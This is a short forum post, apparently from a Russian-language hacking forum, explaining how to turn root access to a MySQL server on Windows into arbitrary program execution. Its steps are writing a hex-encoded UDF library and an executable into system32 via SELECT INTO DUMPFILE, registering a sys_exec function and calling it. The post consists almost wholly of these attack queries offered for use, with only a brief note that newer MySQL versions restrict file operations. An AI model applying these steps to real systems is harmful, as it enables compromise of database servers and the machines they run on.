Показать сообщение отдельно
Старый 09.08.2017, 10:07   #3610
dr.Pilulkin
 
Регистрация: 04.01.2011
Сообщений: 22
Репутация: 9
По умолчанию

Ну смотри:
У нас есть root доступ к базе. Не через иньекцию.
(Через иньекцию мы не сможем зарегистрировать функцию)

Бывают специальные библиотеки добавляющие функции пользователя в mysql
(User Defined Function -> UDF)

https://rdot.org/forum/showthread.ph...b_mysqludf_sys

В нашем случае это lib_mysqludf_sys.dll.

Узнаем путь к папке плагинов. В mysql есть переменная plugin_dir.
Если она пуста или отсутствует то путь "c:/windows/system32"

Делаем запрос: SELECT @@plugin_dir
Переменная пуста

Делаем запрос: SELECT 0x[здесь весь код dll в hex] INTO DUMPFILE "c:/windows/system32/udf.dll"
Тем самым мы сохранили бинарник dll в c:/windows/system32/udf.dll
Тоже самое делаем с нашим test.exe

Регистрируем функцию:
CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.dll';

Если нет ошибки.
Выполняем наш test.exe:
SELECT sys_exec("test.exe")

Если программа выполнилась то вернет 0

upd:

Да в последних версиях mysql файловые операции запрещены по умолчанию.

Последний раз редактировалось dr.Pilulkin; 09.08.2017 в 10:38..
dr.Pilulkin вне форума   Ответить с цитированием